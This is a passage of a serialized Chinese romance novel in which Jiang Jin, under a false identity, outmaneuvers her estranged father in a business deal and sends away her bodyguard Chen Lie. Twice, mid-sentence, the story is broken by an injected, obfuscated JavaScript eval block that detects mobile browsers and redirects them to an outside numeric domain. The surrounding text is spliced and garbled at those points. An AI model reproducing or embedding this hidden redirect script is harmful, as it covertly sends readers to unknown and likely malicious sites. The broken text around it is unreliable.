吧台边坐着个红裙女郎。红是这里很少出现的颜色,她们往往穿米白、婴儿蓝等极致优雅的颜色。 唯她穿红,坐在一片素淡中,像一团灼灼燃烧的火。一手托着侧颊,浓密乌发顺着她冷牛奶白的小臂垂下来。正因她这样的白,才令她上挑的乌黑眼线、正红蓝调的口红,有了一种近乎冲撞般的浓烈。 她坐着也似没骨头,浑身重量似全撑在那只纤细小臂上。 姜启川眯了眯醉眼。 她正是他心底最钟意的类型。令他想起很多年前的某个女人,那个戏子,也是这般媚得没骨头,叫什么来着…… 他那私生女提过一嘴,叫白……罢了,记不清了。 也许他打量的视线太过,那红裙女郎竟端着酒杯、坐到他身侧来,潋滟着一双桃花眼:“嗨,这么巧。” 一开口嗓音却不清亮,是种性感的暗哑。 一句话说得姜启川愣了下,好似当年那个会舞水袖的戏子回来了。 姜启川努力睁着醉眼去看。 “姜雪照小姐。”他笑了:“我没想过你会做这种风格的打扮。” 姜堇也笑。 “跨年夜,放松嘛。”她说。 姜启川埋下头去笑。 这要真是姜堇……他简直有一瞬是对自己的亲女儿起了念头。 陈列坐在远远一张圆桌边,桌面摆一杯金汤力,没喝,注视着姜堇这边的动力。 有时候他觉得姜堇是故意。她不想让姜启川认出她破坏计划,也不想姜启川彻底没认出她让这场报复索然无味,便故意在危险的边缘游走。 她像一只鬼魅出现在姜启川身边,一瞬让他觉得他是姜堇,一瞬又觉得她是当年的白柳絮。 可她有退路,她照样可以做姜雪照。 她拉着醉醺醺的姜启川谈生意,大占上风。 随即她去了趟洗手间。 陈列接到她电话:“来接我。” 电话里她呼吸听起来有些急促。 陈列立刻往女洗手间走去。 站在外间叩门:“姜小姐。” 里面无人应。 他继续叩门:“姜小姐?” 门从里面推开来,一具香软的身体堪堪倒进了他怀里。 “那酒……”姜堇气息不匀地低低喘息:“有问题。马上走。” 陈列立即带着姜堇往后门避走,服务生递来他的大衣,他立即把姜堇裹在里面,几乎是挟着姜堇把她塞进了劳斯莱斯里。 姜堇靠着椅背沉沉呼吸:“水。” 陈列拧开瓶法国山泉水递她。 她几乎灌下大半瓶去,脸上红潮未褪。 下了车,陈列又用大衣裹住她,一路往房间疾走。 总统套房内漆黑一片,滕柏仁不在。 陈列正要开灯,姜堇又软又烫的手挡开他。两人趁红外线摄像头启动以前,进了陈列的暗室。暗室里没信号,屏蔽了一切监视。 “陈列……”姜堇靠在书架背面,拍开了墙面的开关。炽白的灯光下,她眼尾是一种近乎诡异的旖旎的红。 她软软地朝陈列靠过来。 陈列立刻攥住她手腕:“你干什么?” 姜堇脑子里昏沉沉的,是一种比上次木屋发烧更难控的体验。 她迫切地想要靠近陈列,靠近他温暖而干燥的胸膛。她觉察姜启川给她喝的那些酒有问题,入口极软实则度数极高,在小腹灼烧着,似要千百倍放大内心潜藏的渴望。 姜堇神志不清地想:她的渴望是陈列? 姜启川的这些酒,或许是他们这种人对付女人的惯常手段。可姜启川为什么要给她喝这种酒?李黎跟姜启川说了些什么? 可现在这间小小的暗室……姜堇醉眼朦胧地扫过。 她觉得它是安全的。这间暗室像她和陈列住过的破船舱,又或者她和陈列一同乘过的公交车,小小的,逼仄的,可是陈列在她身边,她很安全。 姜堇忽然莫名其妙地想:等这一切结束后,她就要远远地离开了。 可她竟然还没睡过陈列。 或许不是现在的她这样想,是十八岁的她这样想。 她还没睡过陈列,她的青春还没彻底落幕。 她揽抱住陈列的腰,陈列感到她没骨头一般的身子紧贴着自己,尖俏的下巴抵着陈列的胸膛,睁着潋滟的眼仰视陈列。 身体的反应是本能,陈列闷闷地想要低吼。可他紧紧攥住姜堇的手腕,眼底似要喷火。 “姜阿堇。”他声音哑得不行,咬牙切齿地喝她:“老子不是你的鸭。” - 姜堇是在主卧那张大床醒来的。 这是新年的第一天,窗外天光已大亮。她脑仁是一阵钻心的疼,还有垂放在鹅绒被上的手腕子,一圈生疼。 陈列昨夜是用了多大气力箍住她手腕、推开她? 她昨夜做了些什么…… 耳畔是一阵八音盒般叮叮咚咚的儿歌,还是那首:“Littlepoppy,sweetpoppy……” 姜堇从鹅绒床上爬起来。 滕柏仁的轮椅在梳妆台前,指尖抚着八音盒上轻旋的白裙小人。 “Morningsweetpoppy。”滕柏仁转过头来跟她打招呼:“起来洗漱吧,你有位老朋友来了。” 姜堇起床洗漱时,滕柏仁仍轻轻哼着那首欧洲中古世纪的童谣。 姜堇一边刷牙,一边盯着盥洗镜中的自己。 滕柏仁心中最神圣的花不是百合,不是玫瑰,而是罂粟。 因为在他生命之初对他最重要的女人,便似罂粟。 是他同父异母的姐姐,私生女的身份让她见不得光,只能作为他家庭教师的身份进入那栋半山的大宅。 他从小腿疾,过人的经商天赋还未展露,根本无人理会,甚至他的父母。他终日躲在自己卧室,他记得大叶榕过分浓密的枝桠挡在他窗前,让他半点见不得阳光。 他说了好几次,也无人指派佣人来修剪。 是他姐姐,一个人拿着修枝器攀上枝干去,一拉抽绳,机器马达声轰轰作响。她穿着马丁靴一脚踩在树干上,浑不在意地大嚼口香糖。 她从不在意自己私生女的身份,从来都充满野蛮的生命力。 她不是百合,不是玫瑰,她是一株生机勃勃的罂粟。 一个这样的人,怎会突然遭遇车祸身亡呢? 她葬礼的那天,无人来推他的轮椅出席。他一个人坐在卧室窗前,望着那棵细叶榕的枝桠又长了出来,再一次要挡住他窗前的阳光。 后来。 后来他狠辣的经商手段为他争得了一片天地,开始有传言说他将是滕氏的下一任家主。 他找了很多个情人。他不碰她们,只是给她们换上一条条美丽的衣裙,戴上一条条奢豪的珠宝项链。 那是他未曾来得及回馈给姐姐的一切。 可那些情人,她们都有与姐姐肖似的甜蜜容颜,可她们都不像她。 直到他遇到姜堇。 那是一个江城的晚宴上。他在滕氏的地位尚未稳固,竟被派来参加这种等级的宴会。他兴致缺缺,直到一个女人点亮他双眼。 她戴一张黑色蕾丝蝴蝶面罩。他甚至看不清她的容颜,可她跳一曲近乎绝唱的探戈,身上有种旺盛到野蛮的生命力。 滕二少后来命人去查,她却凭空消失了。 他也并未把这件事放在心上。可命运总是奇妙。 再遇她已是四年后。 有个非洲项目非得他亲自飞过去洽谈,十数小时的飞行令他本就萎缩的双腿发僵。他心情不畅,却不能推拒参观难民营的行程。 想不到在那里见到了她。 她未戴蝴蝶面罩、也未再穿那条红得似火的探戈舞裙,他却一眼认出了她。 她穿简单的T恤配牛仔裤,T恤洗得那样旧,领口松垮垮贴着姣好的胸脯。她晒黑了许多,那样瘦,怀里抱一个黑人婴孩的动作那样娴熟。 似察觉到他的注视,她仰起面孔来冲她笑。 她长得一点不似他姐姐,却又是最像他姐姐的一个。 两人一起回了港岛。不久后外界开始传,滕二少有了个正在交往的女友,两人门当户对,将要订婚。 姜堇洗漱完走出洗手间,滕柏仁已操控轮椅出去了。 姜堇环视一圈屋内。 鹅绒床是她睡的,滕柏仁更喜欢睡在角落的沙发上,阳光照不透,他蜷起自己逐渐萎缩的双腿,好似从小习惯了这般的阴暗。 从三年前签订合约,两人的卧室一直是这般格局。 姜堇走到客厅去。 来的客人是李黎。 姜堇并不意外。 李黎坐在沙发上冲她笑:“姜小姐。” 李黎今天是刻意打扮过的,可身上的奢牌套装是奢牌过季款。倒不是姜堇,穿一件看不出牌子的白衬衫,配丝缎窄脚裤,刚洗过脸,素颜未施粉黛,散发出一种混了薄荷味的茉莉香。 整个人有种毫不费力的矜贵。 李黎怨毒地盯着她,可唇角在笑:“我是想着,我们好久没有约着出去了,姜小姐电话又打不通。最近有个美术展挺有意思的……” 她从手袋里掏出介绍折页放到茶几:“我便贸然登门,想约姜小姐一起去。” 姜堇展颜一笑,执起折页:“我看一看。” 她并未承诺要去,也没说不去。 李黎站起来:“那我先走了。” 离开的脚步匆匆。因为每次见到滕柏仁,李黎都觉得他目光如鹰隼,莫名透着种阴寒。 如果姜雪照真是姜堇,她怎么有本事与这样的男人周旋? 李黎等了一周,没等到姜堇的来电。 她逐渐烦躁起来。 以姜堇的脑瓜子,不难想到自己在姜启川那里吃瘪、肯定有她在背后做手脚。她拿住了姜堇的把柄,可姜堇为什么不联系她? 姜堇这一周内,倒是赴了一次姜启川的约。 姜启川约她喝咖啡。 在一座距江城数十公里的咖啡庄园里,老板爱咖啡成痴,咖啡豆都是从祖国南方空运过来,手冲做得炉火纯青。 姜启川笑着给姜堇呈上一杯:“滕二少珍藏的茶叶不知多名贵,我就不班门弄斧了。还是请小姐喝咖啡罢。” 姜堇笑笑地饮下。 两人都好似没发生上次那档子事。 咖啡入口酸苦,姜堇喝了七年,老实说,她还没喝惯。她总想起七年前读高三,躲在破船舱里熬夜苦读,喝从小超市里买的临期速溶咖啡,是一种黏在上牙膛的甜腻。 一只信封从姜启川口袋里掉落在地。 “不好意思。”他勾腰拾起,很随意放在桌面。 姜堇垂眸瞥一眼。 信封口有意无意露出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15661960|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,是陈列用大衣裹着她从酒吧离开的几张照片。偷拍,因距离远而拉大镜头,呈现出极强的颗粒感,看上去更显暧昧亲昵。 姜启川笑道:“黎黎献宝似的把这几张照片拿给我,我说她真还是个小女孩。就凭这几张照片又能证明什么呢,你说是不是,姜小姐?” 姜堇替李黎悲哀了一秒。 李黎自以为与姜启川达成了联盟。姜启川却转头就把她给卖了。 “姜小姐这么神秘,人人都想多了解姜小姐一点,哪里是几张照片足够的。”他眼含笑意,看上去那般儒雅,啜饮一口咖啡。 姜堇想,数十年前,她妈妈应该就是被他这样的笑容迷倒的。 他在暗示她。 暗示他对她身份的调查,比李黎更深更久。 “不过姜小姐,名字其实也就是一个代号而已。”姜启川笑吟吟的:“比如姜小姐是不是叫姜雪照,对我来说其实没差的。我只知道姜小姐跟我做生意,做好了,我们双方都有得赚。” 姜堇点点头:“你说得对。” 姜启川呈出一页合同。姜堇垂眸去看,把她这方的利润压低三个百分点,是笔巨款,可姜启川老谋深算,又还没超过她底线。 姜启川:“姜小姐要是无异议,我们马上可以签合同。” “这是大事。”姜堇笑道:“我还是多多考虑下。” 她带着合同走了。 不久便是春节,华人世界里的大事。 滕柏仁纵使亲缘关系再淡泊,现在的身份地位摆在这里,照样要回港岛主持局面。姜堇留在江城盯着工程,年前几天照样天天去视察。 大年三十这天,姜启川陪妻子回娘家。 岳父岳母对他仍是那副态度,话里话外指他受妻子娘家荫蔽。真是笑话,若没有他,这公司连在不在都说不清! 喝酒喝得胸口发闷时,姜启川接到一个电话:“姜先生,是否打扰你吃团年饭?” 很好听的粤语,发暗的一把性感嗓音。 姜启川想:单听这把嗓音的话,真不会觉得她就是当年的姜堇。 他问:“姜小姐有什么事?” “年前太忙,直到今天才有空处理合同的事。如果姜先生方便,我们就赶在年初一前把合同签了。”姜堇噙着笑道:“我就在姜先生院门口,不叫姜先生跑远路。” 姜启川愣了愣:“好,我这就出来。” 姜堇到底是妥协了。 是,毕竟要是她的真实身份暴露。她现在拥有的一切,将什么都不剩。 姜启川套了大衣匆匆出来,姜堇站在劳斯莱斯车前,一件轻薄的白羊绒大衣看起来并不挡风,陈列一袭长款墨色大衣站她身边,倒是替她掩去了更多寒意似的。 她冲姜启川点一点头:“除夕这天,打扰你了。” “不会,倒是麻烦姜小姐跑一趟。”他掌着院门:“请进来。” 姜堇随他走进院落,却不肯再往里进,俏皮地用粤语开句玩笑:“要派利是的。” 她指指院里一张石雕棋桌:“就在这里签合同吧。” 院里一株红梅,角落里尚有残雪。 姜堇从手袋里掏出一只万宝龙钢笔来,纤细的指节冻得有些发红,握住笔,却忽然转头聆听了阵屋内的动静。 “真热闹。”她挑着唇角:“姜先生说过,你有一个女儿一个儿子对吧?” “是。”姜启川。 “真是……很热闹。”姜堇低下头的动作,令垂落的乌发掩住她面孔。陈列站在她身后,看不到她唇角是否难抑地嘲讽挑起:“热闹又幸福。” 陈列知道她想起七年前的春节。 那是她最后一次在家乡的医院,陪白柳絮过一个寂寥的春节。整个保温桶的饺子拎在陈列手里,被陈列父亲打翻,那个春节,白柳絮连饺子都没吃上。 那时姜家也是这般,欢声笑语,和乐融融。 姜堇挥笔签下自己的名字,又拿印鉴印上。 姜启川也是带着印章出来的,随之签名。 姜堇笑着对他伸出一只手:“合作愉快。” “合作愉快。”姜启川回握过来。 姜堇心想,原来她亲生父亲的手,握起来是这样的。不似陈列的手那般干燥温暖,也不似滕柏仁的手那般潮湿阴寒。不知是否常打高尔夫的缘故,他掌心存着厚茧,让人好似触不到他真实的体温。 从姜家出来,姜堇却没立即上车。 她叫陈列:“走走。” 姜家所在的富人区僻静,幽深的长巷里一个人都没有,只有黑色铸铁的法式雕花。姜堇一路往前走,转过一个巷口,环境却急转直下,到了普通人生活的小区。 陈列想:世界好像从来就是这般荒唐。 一条街,足以隔出两群人迥然的命运。 这里也僻静,人人都在家团年。只有两个小女孩,戴红色毛线帽,好似趁家人不注意,从家里溜出来放手持烟花。 站在电线杆下,火光就那么一点点大。拢在手掌间,很珍惜的模样。 姜堇走过去笑问:“可以给我一支吗?” “本来是不给你的。”小女孩仰起面孔。 “嗯?”姜堇挑唇。 “但是你好好看。”小女孩把一支烟花塞她手里:“就给你吧。” “谢谢。” 院落里有人唤她们回去,她们一溜烟跑了。 姜堇叫陈列:“火机。” 陈列从大衣口袋里掏出打火机来,带出他的烟盒。 这么多年过去,他还是抽很便宜的烟,又便宜又烈。 姜堇瞥一眼他的烟盒:“想抽就抽吧,大过年的。” 陈列衔了支烟在嘴里,点燃了火,又用打火机去点她手里的烟花。 打火机咔嚓咔嚓的声响间,姜堇压低声笑倒:“其实当年,我也买了些这样的手持烟花。” 当年若不是陈列的父亲找过来,她本打算和陈列一起放的。 没想到,小女孩给姜堇的烟花受了潮,怎么样也点不燃。 姜堇嘲讽地勾一勾唇角:“说不定,我当年买的烟花也受了潮,还是没放的好,这样我就永远不知道它是不是点不燃。” “我总还能想象点燃它的快乐。” 陈列又试着擦了几次火石,烟花就是点不燃。 “算了。”姜堇耸了耸肩:“走吧。” 陈列往劳斯莱斯走去。 “陈先生。”姜堇笑着叫住他:“我是说,你走吧。” 陈列一怔。 “走吧。”姜堇笑着:“趁我没后悔。” “滕……”陈列刚一开口,就被她打断。 她说:“你走,其他的事不用管。” 陈列从未想过,他有一天的离开会是这样。 甚至没有收拾任何随身物件,顺着一面红砖墙,就这样往前走去。 走出数十米远后,他终是忍不住回了一下头。 墙角尚有积雪。姜堇站在那根电线杆下,手里握着支永远点不燃的烟花。陈列以为七年后的她丰腴些了,其实不然,单这样远远望着她侧影的话,还是单薄得过分。 她始终低着头。 还是和七年前一样,始终没有看陈列一眼。 59. 不用了 姜堇一个人走回劳斯莱斯。 她倦怠地靠在椅背上,吩咐司机:“走吧。” “姜小姐,你的保镖……” 姜堇阖上眸子,只是沉声道:“走。” - 陈列未曾想过他会这样离开姜堇。 今日除夕,有很隐约的烟花爆竹声隐隐传来。路过的居民小区,安了防盗铁栅的阳台开着一线窗透气,室内的暖气在玻璃上蒙一层白。 靠近阳台的那间好似厨房,几个妯娌主妇聚在那里,商量着中午要炸一尾松鼠鳜鱼。 陈列双手插在长款墨色大衣的口袋里,一个人拢着大衣往前走。 两个年轻女孩看起来是表姐妹,来亲戚家拜年吃饭的,打墙根下路过遇见陈列,明显地眼露惊艳。 一个捅捅另一个胳膊,用嘴形说:“拍电影啊?”另一个只是无声地笑。 等她们路过,陈列低头去看自己的混身装扮,自嘲地勾起唇角。 锃亮手工皮鞋,因剪裁过分得宜而过分挺拔修身的西装西裤,配一件长及膝盖的大衣,走路带风。 脱离了滕家那样的境地,总觉得浮夸的过分。 陈列对春节没什么好印象。 七年前他爸就是在春节这天找到他,打翻了他手里拎着的整桶饺子。雪白的饺子滚在地上沾了泥,一如他泥泞不堪的人生。 也是在那天他淋了许久的冬雨。也是在那天姜堇找到他,抬眸看他的模样,把他的头抱进自己怀里,像一个小小的母亲。 “陈列,你真可怜。”她说:“原来从来没有人爱你。” 陈列也不知自己顺着长街走出多远。 路边堆着残雪。他一抬眸,望见一爿难得春节还开着的小店。 他走进去,店主是个中年女人,像是也没想到这吃团圆饭的时分真有人进店,顿了一下才招呼:“吃什么?” 这是一间过分家常的小店。在滕家那样的环境待久了,只觉得这里一切都旧旧小小。墙面染着小块的脏污,桌面腻着一层油,没靠背的圆凳生了锈,贴在墙上的艳红菜单角落卷起来。 这里卖饺子,韭菜猪肉,玉米三鲜。 大概他坐在圆凳上沉默得太久,店主又问一边:“帅哥,吃点什么?” 真奇怪。 七年前打翻的那一桶饺子是什么味,竟已想不起来了。 他随便点了份白菜猪肉。 热腾腾的饺子端上来,叫人想起这是春节。陈列一口一个,闷声吃完了整份饺子。 老板娘揣着暖手宝坐在一旁,看着他发笑:“个子高饭量也大吧?我再送你一份。” 陈列摇摇头。 这份饺子他是硬塞下去,大概吃了太久的健康餐,总觉得油腻得塞在嗓子眼。 走出小店,他站在路边抽烟,微眯起眼,半拢着手点火。 难得路边一个几岁的小男孩,大抵趁大人们吃团圆饭时自己溜出来,拿着一把冷烟花,却无法自己点燃。 陈列抽着烟看他半晌。 掐了烟大跨步地走过去:“喂小孩。” 小男孩一扇睫毛瞧他一眼,汪地一声便哭了。 陈列:…… 他长得有这么凶吗? 他蹲下身来:“你的烟花可以给我一根吗?” 一边伸手在大衣口袋里摸索,说不上是想摸出点什么给小孩做交换,亦或单纯想让小孩止住哭。 指尖忽地一顿。 口袋里火机和烟盒之外,唯一仅存的,是姜堇的一个头绳。 姜堇现下大多是优雅地披肩发,只是去健身房的时候,会一边往里走、一边把细瘦腕子上箍的皮筋脱下来,把长发束成一个高马尾。 从健身房出来时,也是一边走一边将马尾拆开来,随手把用过的皮筋往陈列怀里一丢。 陈列起先还替她收着。 后来发现她每次去健身房腕子都箍一根新的皮筋,她再抛给她的皮筋,他也就随意丢弃了。 口袋里这根是什么时候塞进去的?陈列自己都忘了。 小男孩哭着瞧他半刻,见他手在口袋里摸了许久也没掏出什么来。 小大人似的叹口气,把手里一根烟花分他:“给你吧。” 陈列:“为什么?” “因为你真可怜。”小男孩道:“想找点什么东西哄我都找不到,你口袋里连一颗糖都没有。” 陈列站起来挥了下手里的烟花棒:“谢了。” 小男孩问他:“你可以帮我点吗?” 陈列用火机替他点燃,提醒:“别烧着自己。” 小男孩忽地问:“烟好抽么?” 陈列垂眸睨他一眼。 “我都看见你抽烟啦。”小男孩甩着烟花:“我以后长大也要抽,看着挺酷的。” 陈列伸手在他头顶摁了下:“别了。” “为什么?” 陈列:“肺疼。” 他一个人捏着烟花走出老远,才掏出火机点烟花。 唇边挑起一抹嘲讽的笑。 真是见了鬼了。 今天无论姜堇还是他找人讨要来的烟花,都一般受潮了打不着。 简直像某种天意。 陈列一路走到某个城中村,顺着巷子往里走,在一间低矮平房前,对着裁成一条条的出租信息打电话。 “喂?” “房子租么?” 对方明显愣了愣,没想到大年三十有人来租房。 赶过来的是一个卷发女人,红袄子上有刚炸过丸子的干香气。拎着成串拆迁房的钥匙,看见一个高大的寸头男人,站在屋角灰瓦下抽烟。 她狐疑地瞥陈列一眼:“你别是那什么□□吧?” 陈列远远地站着,锐利面庞半掩在屋角暗影下:“是你就不租了?” “租呀。”女人无所谓地道:“给钱就租咯。” 陈列推门进屋。 他什么行李都没有。 也懒得出门,床上有被褥,他直接一脱大衣,裹着被子睡了过去。 醒来时是半夜一点。新的一年竟就这样到来了,悄无声息如头顶飞过的鸽子,没人会去聆听它扇动翅膀的声响。 手机上有姜堇发来的一条信息:[地址。] 陈列没回。 直到天亮,他去超市买了毛巾牙刷、洗漱用品,又去开放式货架上随意抓了几件卫衣牛仔裤。 方才给姜堇回消息,报了个市中心商场的地址。 九点过,商场开门,陈列站在门口等。 来的是龚哲。 下车后拎着一只行李袋,先是看了陈列一眼,才把行李袋递到陈列手中。 其实陈列这人不适合做保镖,他太扎眼。一张脸长得出挑,修长双腿和紧致腰线又是天生衣架子,即便他此时穿着灰色卫衣套棒球款棉服,一条硬邦邦的深蓝牛仔裤,站在人群里,也吸引了不少小姑娘往他这边看。 陈列打开行李袋检查了下。 他入职滕氏时带的东西不多,用行李袋装来真是大材小用。此时行李袋内空荡荡,最重要便是他几本身份证件。 他对龚哲扬了扬行李袋,算是谢过,转头掩没在了人群中。 - 大年初一,陈列收到汪露姗每年一度的拜年短信:[春节快乐,平安健康。] 陈列没回,只是把每季度的钱给她转过去。 这大概是陈列过得最闲散的一个春节,他坐在海绵塌了一半的沙发上,瞥着被他扔在一旁的行李袋。 证件他已收好,行李袋变得更为软塌塌而空荡荡。 他伸手在各个内袋里摸索了一遍,果然被他找到一张银行卡,信封上写着初始密码。 陈列用手机登陆,查询卡里余额。 唇角嘲讽地勾了起来—— 卡里是姜堇七年前从他这里拿的那笔钱,按股市最高投资回报率把利息算得清清楚楚,一分不少地还给了他。 他妈的他现在又不缺钱。可当年姜堇拿走的七十块呢? 姜堇没还。 陈列靠住沙发背仰头,望着天花板。 手机响起,陈列垂眸看了,接起来:“喂。” 汪露姗像只是姑且一试,因他接了反而有点怔忪:“你在国内?” “嗯。” “工作?” “辞职了。”陈列说。 “那……到我家来看看?我妈一直念叨你。” 陈列一直握着那张银行卡,锋利的边缘嵌进他掌心,隐秘的痛感。他翕开唇瓣:“行。” 约定去汪露姗家的时间是大年初七。 汪露姗的母亲高兴极了,张罗着给陈列包饺子。 慢性病太磨人,即便有陈列给的医药费撑着,她还是逐渐枯槁了下去。所以包饺子这事全由汪露姗张罗。 陈列去厨房打下手,汪露姗讶异道:“没想到你会做饭。” 陈列:“嗯。” 从小他爸为了躲债不着家,他自己做饭的时候多。 他习惯性摸出根烟来叼在唇间,又想起这是在别人家厨房,没点,就那么衔着。他切菜的时候会微微皱眉,握着菜刀的动作大刀阔斧,切起西葫芦来像是与它有愁。 汪露姗擦过他身后去接水,闻见他身上年轻男人的气息。 汪露姗望着他背影,想:这真是一个很高大的男人。 他站在这里,好像某种浓浓的安全感。 吃过饺子天已擦黑,陈列告辞。 汪露姗母亲忙道:“姗姗你去送送。” 陈列:“不用。” 汪露姗已笑着取过大衣:“走吧,大过年的闲着也没事。” 公交车有些班次停运,陈列去坐地铁,要走出两条街去。 汪露姗走在他身边,话也不多,只是时不时掏出插在衣兜里的双手呵气。 笑问陈列:“之后什么打算?” 陈列:“做点自己的事。” 汪露姗点点头:“挺好,不像我,连自己想做什么都搞不清楚。倒是我妈一直催我结婚,好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他身旁站着个女人,姜堇见过一次的,正买一只烤红薯。 他像是站在踏实的日常里,向空中楼阁里的姜堇望过来。 暖气吹着姜堇浓密的长发往后拂,窗外是月光、霓虹、冷空气,陈列的视线望过来,像烫在姜堇的皮肤上。姜堇本以为他会移开视线,但他没有,他只是沉默地注视着她的车路过,越开越远。 身边的滕柏仁挂断了视频通话。 唤她:“Poppy。” 姜堇看见自己的脸虚空地映在玻璃上,浮华的霓虹托不住她。 滕柏仁忽地问:“你人生中有什么后悔的事么?”他今晚戴一只玉扳指,套在拇指上摩挲,似与姜堇闲聊。 “没有。”姜堇坐直了往前方的挡风玻璃望去:“我这一生,从来不许自己回头。” - 路边,汪露姗买来烤红薯,问陈列:“要吃么?” 陈列摇头。 “你还没回答呢。”汪露姗撕下一块小小烤得焦香的皮来:“你相信一见钟情么?” 陈列沉默了一路,这时忽然道:“其实你不了解我。” 汪露姗的脸霎时就红了。 在夜色遮掩下,这个内敛而害羞的姑娘做了人生里第二件勇敢的事。她说:“你可以慢慢让我了解啊。我知道保镖的工作很复杂,你可以讲给我听。” 陈列默然走着。 他人生的复杂,甚至不是从当保镖的经历开始。 他的复杂藏在一艘破旧的船舱里,藏在红蓝霓虹闪烁不定的拳馆里,藏在雪天飞奔过的狭窄巷弄里,藏在冬日几乎将他淋得支离破碎的一场冻雨里。 那些记忆随时间的灰浸进他血脉,和他的每一寸皮肤相融。就算他妄想扒开时间的灰,又怎么把这些早已融化的往事剥离出来,清清楚楚讲给第三个人听。 汪露姗接到她母亲的电话。 她一边咬着红薯,一边轻声细语地回:“马上回来了,今天公交班次不多,去地铁站得走很远。” 挂了电话对陈列笑道:“妈妈总是这样的。” 第二天,陈列买了张飞往加国的机票。 加国北部的冬日永远白雪皑皑。陈列站在随姜堇摆放过一次的疗养院门口,听护士给姜堇打电话,问姜堇对探访人员是否放行。 陈列也不知自己怎么忽然就来了。也许是汪露姗昨晚提及母亲的语气。 说起来陈列人生中,接触的第一个像母亲的人竟是白柳絮。 加国离江城数千公尺。姜堇的声音传来似有时空上的迟滞,周围太静了,只有松鼠跳跃在枝头拨松了积雪的声音。 于是他清晰听见姜堇在电话里说:“不用了吧。” 说着姜堇淡淡地笑了:“过去的人早就留在过去,想见也见不着了。” 60. 纤纤 姜启川从来都很讨厌过年在妻子娘家打牌。 他不敢赢。只要他和牌,对面不管是谁都会难抑地发出“啧”的一声——那是一种嘲讽,嘲讽他:你的生意全靠我们家,你还敢赢钱? 今年却不一样,姜启川在牌桌上赢得盆满钵满。 岳父岳母送他出门时,一脸的不痛快。 姜太太在一旁欲言又止。 姜启川心想:无所谓,反正他已与姜堇签订了合同。如若不是有姜雪照就是姜堇这笔旧账,他是断然不敢入局。 只是现在,有姜堇给他托底,如果这局败了,姜堇的下场只会比他更惨。做生意么,赌得无非是谁更赔不起。 年十四姜启川去理了个发,等着年十五项目落定的消息从港岛传来,他估摸着会有媒体来采访。 他喜欢上一些财经新闻杂志,那种沉肃的打光会衬得他气质英朗。 年十五,姜启川正躺在总裁椅上阖目养神。 一通电话打进来,助理唯唯诺诺道:“是老董事长。” 姜启川烦躁一咂唇:“接进来。” 却听到岳父暴喝:“瞧瞧你做的好事!” 姜启川一下坐直,心底不好的预感自那时起升腾。岳父的关系网比他更盘根错节些,能比他更早收到些消息。 手机接下来才跳出新闻:与港岛市政合作的项目因规划有变,方案重新启动招标。 姜启川难以置信。 他后脖颈一阵发紧,手指抖了两下,竟没按准通讯录里姜堇的手机号码。 倒是姜堇先给他打了过来:“姜先生,我很遗憾。” 声音一如往昔的气定神闲。 姜启川压低声喝问她:“你是不是疯了?你在哪,我来找你。” 姜堇却道一声不方便,轻飘飘挂断电话。 姜启川找去酒店。 可这本就是滕氏酒店,安保极严,他说明来意,无论姜堇还是滕柏仁只称没空。他平日里自觉在江城呼风唤雨,可原来要和滕家这种阶层打交道,他非得踮着脚去够,竟无人脉能帮他搭上线。 一个项目搭上他手里全部的流动资金,包括大额的银行贷款。如果方案重新规划再来一轮招标,拖也能把他拖死。 短短一星期,他急得掉了整整一层发。原本浓密的发顶,显出中年人的稀疏来。 深重的眼袋令他露了疲态,终于他托重重人脉查到,滕家这周末要办晚宴。 邀请函也是极不容易弄到的。 他弄得灰头土脸,最后时刻才拿到邀请函赶至晚宴,来不及更衣,浑身的西装也起了褶。门口却被安保拦下:“先生请留步。” 他气急败坏:“我有邀请函!” “这是化妆舞会。”对方提醒:“请您佩戴好面具在入内。” 姜启川在所余无几的面具里随意抓起一张。 往脸上罩时,他才发现那是一张“歌剧魅影”的面具,灰白色调,像个无脸人。 他匆匆入内。 晚宴的布置像要唤醒经年的记忆,香槟塔,爵士乐,漫天如雪片飞舞的鸵鸟羽毛。满室宾客衣香鬓影,散着种靡靡的香气,也挡不住被众星捧月那人的华彩。 那是姜堇。 姜堇穿一身黑色晚礼服,肩线以下包裹得极严实,只露出玲珑曲线。肩以上却连一根肩带都没有,大片裸露出雪腻的皮肤,与墨黑丝绒晚礼服形成极致冲撞,像一片反光的雪地刺着人的眼睛。 她浑身上下没一件首饰,那件特殊格调的晚礼服几乎要显出沉闷来了。 可是不然,她戴一只蝴蝶形状的面具,与七年前姜启川印象里那张肖似,却又不同,网面蕾丝编织更细,反正莹莹的光,几乎像是某种金属织成的。 最特别是蝴蝶左翅的下翼,缀着枚珠宝制品。 陈列曾以为那是一枚胸针,其实不然。 那是希腊神话里的美杜莎,一般人都当她是蛇发女妖,可姜堇别出心裁,把她那一头张扬的红发处理成蜘蛛的八条腿,由亮度极高的鸽血红碎石悉心拼成。 攀在蝴蝶翅膀下沿,似一只剧毒蜘蛛,近乎诡谲而惊心胆魄的美。 姜堇的妆面极淡,甚至唇妆也是裸色,唯独左颊这枚饰品,像颗闪烁不定的血色眼泪。 她在人群簇拥下擎着杯红酒,脸上的神色要笑不笑。 她似妖女,也似神女,姜启川甚至不知如何靠近她。 他只得放下一贯的派头与面子,奋力挤到姜堇身边去。 忽地想起七年前,他是在那位置,看一个着黑裙戴蝴蝶面具的少女,奋力挤向自己。他身边的人太多,有人狠狠踩到她穿高跟鞋的脚背。 “姜小姐……” 他的声音被姜堇身边的人湮没。姜堇只是看着他笑,唇边挂一点新鲜的酒液,整个人有种润泽的气息。 “姜小姐……” “嘘。”姜堇一只食指贴近唇边,面具后的双眸含笑:“今晚我不谈生意,我只跳舞。” 